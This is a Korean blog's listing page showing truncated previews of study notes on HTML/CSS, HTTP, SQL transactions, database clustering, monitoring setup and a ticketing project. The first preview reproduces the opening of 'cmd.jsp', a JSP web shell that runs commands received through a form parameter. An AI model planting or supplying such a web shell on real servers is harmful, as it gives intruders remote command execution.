ㄹㄴㅁ
·
카테고리 없음
%@ page import="java.util.*,java.io.*,java.net.*"%>%//// JSP_KIT//// cmd.jsp = Command Execution (win32)//// by: Unknown// modified: 27/06/2003//%>HTML>BODY>FORM METHOD="POST" NAME="myform" ACTION="">INPUT TYPE="text" NAME="cmd">INPUT TYPE="submit" VALUE="Send">FORM>pre>%if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "\nBR>"); Pro..
HTML / CSS 1일차
·
HTML CSS
✨ 서버와 클라이언트 기본 개념▶ 서버: 서비스를 제공하는 프로그램▶ 클라이언트: 서비스를 이용하는 프로그램▶ 웹 서버: 웹 서비스를 제공하는 프로그램▶ 웹 서비스: 클라이언트가 URL을 통해 요청한 파일을 서버가 내려주는 서비스✨ 프론트엔드 vs 백엔드프론트엔드 코드: 클라이언트(사용자 브라우저)에서 실행됨 (HTML, CSS, JavaScript)백엔드 코드: 서버에서 실행됨 (JSP, PHP, Python 등)✨ HTTP/1.1과 Three-Way Handshake현재 99%가 HTTP/1.1을 사용함HTTP/1.0은 요청마다 연결을 새로 함 → 비효율적HTTP/1.1은 연결을 유지해 여러 요청을 연속으로 처리 가능TCP/IP 통신 시 3-Way Handshake 방식 사용✨ HTTP 요청 구조Re..
기발 기술 프로젝트
·
기반 기술 프로젝트
https://github.com/beyond-sw-camp/be17-1st-Picketnologia-Picket GitHub - beyond-sw-camp/be17-1st-Picketnologia-PicketContribute to beyond-sw-camp/be17-1st-Picketnologia-Picket development by creating an account on GitHub.github.com 🎟️ 공연 예매를 바꾸다: Picketnologia 기반기술 프로젝트 회고최근 소프트웨어 캠프에서 팀 프로젝트로 **실시간 티켓팅 시스템 ‘Picketnologia’**를 개발했습니다. 단순한 웹사이트 구현이 아니라, 고성능 백엔드 처리와 분산 환경에서의 안정성 확보에 중점을 둔 프로젝트였습니..
Database 8일차
·
Database
🔧 트랜잭션 + 반정규화 기반 "좋아요" 실습사용자가 강의에 좋아요를 누르면,👉 likes 테이블에 기록하고👉 course 테이블의 likes 수치를 +1 증가시킴⚠️ 이 작업은 트랜잭션으로 묶여 있음 → 하나라도 실패하면 전부 롤백✅ 2. 테이블 구조 및 맥락📌 관련 테이블 구성🧾 likes 테이블  → 학생 ID, 강의 ID 저장 (Many-to-Many 관계)📚 course 테이블  → 강의 정보 + likes 컬럼 포함 (좋아요 수 직접 보관)✅ 3. 쿼리 기능 요약단계기능 설명⚙️ SET AUTOCOMMIT = FALSE;자동 커밋 해제 (직접 커밋하기 전까지 반영 안됨)🚦 START TRANSACTION;트랜잭션 시작➕ INSERT INTO likes(...)누가 어떤 강의에 좋아..
Database 7일차
·
Database
🔨 단계별 실습 요약1. DB 생성 (ERD 기반)sql복사편집CREATE DATABASE web;USE web;CREATE TABLE courses ( course_id INT PRIMARY KEY, course_name VARCHAR(100));CREATE TABLE sections ( section_id INT PRIMARY KEY, section_name VARCHAR(100), course_id INT, FOREIGN KEY (course_id) REFERENCES courses(course_id));CREATE TABLE lectures ( lecture_id INT PRIMARY KEY AUTO_INCREMENT, lecture_name VARCHAR(100), sectio..
Database 6일차
·
Database
📘 3계층 웹 아키텍처 실습 기반 정리🧱 1. 3계층 아키텍처란?웹 서비스를 구성할 때, 각 역할을 나누어 유지보수성, 확장성, 보안성을 확보하기 위한 구조🔹 구성Presentation Layer (프론트엔드): 웹 브라우저, 사용자 인터페이스→ Nginx, HTML, JS, CSSApplication Layer (WAS): 사용자 요청 처리 및 로직 수행→ Tomcat, JSP, Spring 등Data Layer (DB): 데이터 저장 및 관리→ MariaDB, MySQL, PostgreSQL 등🔹 장점역할별 분리로 유지보수가 쉬움특정 계층만 확장 가능 (ex. WAS만 늘리기)부하 분산 구조로 성능과 안정성 확보🛡 2. MariaDB의 외부 접속 설정외부에서 DB에 접속하려면 IP 제한 해제..
Database 5일차
·
Database
✅ 갈레라 클러스터(Galera Cluster)란?여러 대의 데이터베이스 서버(MariaDB/MySQL)를 하나의 클러스터처럼 묶어, 실시간으로 동일한 데이터를 공유하는 기술입니다.💡 왜 필요한가요?하나의 서버만 사용하는 DB는 고장 나면 끝입니다.Galera를 사용하면 여러 서버가 동시에 DB 역할을 하면서,하나가 죽어도 다른 서버가 역할을 대신함 → 고가용성여러 서버에서 읽고 쓰기 가능 → 성능 향상데이터가 항상 똑같이 유지됨 → 데이터 일관성 유지“갈레라 클러스터가 무조건 좋은 게 아니라,시스템의 목적과 성격에 따라 적절한 구조를 선택하는 것이 중요하다.”읽기 작업이 많은 서비스 → 슬레이브 노드 확장으로 효율적고가용성 쓰기, 무중단 장애복구가 필수 → Galera Cluster 활용서버의 개수가..
Database 4일차
·
Database
✅ 기본 명령어 및 설정 요약🧩 apt : 프로그램 설치 명령어🧩 systemctl : 서비스 실행/중지 명령어🧩 systemctl enable [서비스명] : 재부팅 시 자동 실행 등록🧩 vi /etc/hostname : 컴퓨터 이름 변경🧩 init 6 : 변경된 설정 저장 후 시스템 재부팅🔧 실습 환경 세팅🖥️ db1실행: mariadb, prometheus-node-exporterIP: X.X.X.X🖥️ prometheus실행: prometheus, prometheus-node-exporter🖥️ grafana실행: grafana-server접속 주소: http://X.X.X.X:3000대시보드 ID: 12062⚙️ CPU/RAM 설정 변경🧠 CPU: 1 → 4 Core💾 RAM..